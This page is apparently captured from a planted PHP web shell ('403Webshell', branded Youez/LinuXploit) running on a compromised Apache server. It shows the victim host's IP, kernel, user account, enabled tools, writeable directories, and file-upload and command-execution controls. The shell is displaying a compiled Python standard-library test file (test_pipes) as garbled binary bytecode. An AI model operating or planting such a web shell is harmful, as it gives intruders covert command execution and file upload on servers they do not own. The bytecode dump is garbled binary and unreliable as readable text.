403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_pipes.cpython-36.pyc
3

�w2__�@s�ddlZddlZddlZddlZddlZddlmZmZmZm	Z	ej
dkrTejd��edZdej
ejfZGdd�dej�Zd	d
�Zedkr�e�dS)�N)�TESTFN�run_unittest�unlink�
reap_children�posixz pipes module only works on posix�2ztr %s %sc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS) �SimplePipeTestscCsxttfD]}t|�q
WdS)N)r�TESTFN2r)�self�f�r�4/opt/alt/python36/lib64/python3.6/test/test_pipes.py�tearDownszSimplePipeTests.tearDownc
Csttjd�dkr|jd�tj�}|jttj�|jt	d�}|j
d�|j�tt	��}|j|j
�d�WdQRXdS)N�trztr is not available�wzhello world #1zHELLO WORLD #1)�shutil�which�skipTest�pipes�Template�append�	s_command�STDIN_STDOUT�openr�write�close�assertEqual�read)r
�trrrr
�testSimplePipe1s


zSimplePipeTests.testSimplePipe1cCs�tjd�dkr|jd�ttd��}|jd�WdQRXtj�}|jt	dtj
�|jtt�tt��}|j
|j�d�WdQRXdS)Nrztr is not availablerzhello world #2z
 < $IN > $OUTzHELLO WORLD #2)rrrrrrrrrr�FILEIN_FILEOUT�copyr	rr)r
rrrrr
�testSimplePipe2 s

zSimplePipeTests.testSimplePipe2cCs�tjd�dkr|jd�ttd��}|jd�WdQRXtj�}|jt	dtj
�|jtd�}z|j|j�d�Wd|j
�XdS)Nrztr is not availablerzhello world #2z < $IN�rzHELLO WORLD #2)rrrrrrrrrr�
FILEIN_STDOUTrrr)r
rrrrr
�testSimplePipe3+s
zSimplePipeTests.testSimplePipe3cCs�d}ttd��}|j|�WdQRXttd��}|jd�WdQRXtj�}|jtt�tt��}|j|j�|�WdQRXdS)Nzempty pipeline test COPYr�)	rrrr	rrr!rr)r
�drrrrr
�testEmptyPipeline18s
z"SimplePipeTests.testEmptyPipeline1cCs\d}ttd��}|j|�WdQRXtj�}|jtd�}z|j|j�|�Wd|j�XdS)Nzempty pipeline test READrr#)rrrrrrrr)r
r'rrrrr
�testEmptyPipeline2Dsz"SimplePipeTests.testEmptyPipeline2cCsVd}tj�}|jtd��}|j|�WdQRXtt��}|j|j�|�WdQRXdS)Nzempty pipeline test WRITEr)rrrrrrr)r
r'rrrrr
�testEmptyPipeline3Ps
z"SimplePipeTests.testEmptyPipeline3cCs:tj�}|jt|�d�|jdtj�|jt|�d�dS)Nz<Template instance, steps=[]>z
tr a-z A-Zz1<Template instance, steps=[('tr a-z A-Z', '--')]>)rrr�reprrr)r
rrrr
�testReprYs

zSimplePipeTests.testReprcCs<tj�}|jd�|j|jd�|jd�|j|jd�dS)NFT)rr�debugr�	debugging)r
rrrr
�testSetDebug`s


zSimplePipeTests.testSetDebugcCs,tj�}|jdtj�|jt|jdd�dS)N�boguscmd�	bogusfiler#)rrr�SINK�assertRaises�
ValueErrorr)r
rrrr
�testReadOpenSinkgsz SimplePipeTests.testReadOpenSinkcCs,tj�}|jdtj�|jt|jdd�dS)Nr0r1r)rr�prepend�SOURCEr3r4r)r
rrrr
�testWriteOpenSourcensz#SimplePipeTests.testWriteOpenSourcecCs�tj�}|jt|jdtj�|jt|jdd�|jt|jdtj�tj�}|jdtj�|jt|jdtj�tj�}|jt|jdtj	�tj�}|jt|jdtj
�tj�}|jt|jdtj	�tj�}|jt|jdtj�dS)N�r0�xxz
boguscmd $OUTzboguscmd $IN)rrr3�	TypeErrorrrr4r7r2r r$�
STDIN_FILEOUT)r
rrrr
�testBadAppendOptionsus&z$SimplePipeTests.testBadAppendOptionscCs�tj�}|jt|jdtj�|jt|jdd�|jt|jdtj�tj�}|jdtj�|jt|jdtj�tj�}|jt|jdtj	�tj�}|jt|jdtj
�tj�}|jt|jdtj	�tj�}|jt|jdtj�dS)Nr9z
tr a-z A-Zr:r0z
boguscmd $OUTzboguscmd $IN)rrr3r;r6rr4r2r7r r$r<)r
rrrr
�testBadPrependOptions�s&z%SimplePipeTests.testBadPrependOptionscCstj�}|jt|jdd�dS)Nr1�x)rrr3r4r)r
rrrr
�testBadOpenMode�szSimplePipeTests.testBadOpenModecCsntj�}|jdtj�|j�}|jt|�t|��|j|j|j�|jt|j�t|j��|j|j	|j	�dS)Nz
tr a-z A-Z)
rrrrZcloneZassertNotEqual�idrZstepsr.)r
r�urrr
�	testClone�szSimplePipeTests.testCloneN)�__name__�
__module__�__qualname__rrr"r%r(r)r*r,r/r5r8r=r>r@rCrrrr
rs
	"!rcCstt�t�dS)N)rrrrrrr
�	test_main�srG�__main__)r�os�stringZunittestrZtest.supportrrrr�nameZSkipTestr	Zascii_lowercaseZascii_uppercaserZTestCaserrGrDrrrr
�<module>s

7

Youez - 2016 - github.com/yon3zu
LinuXploit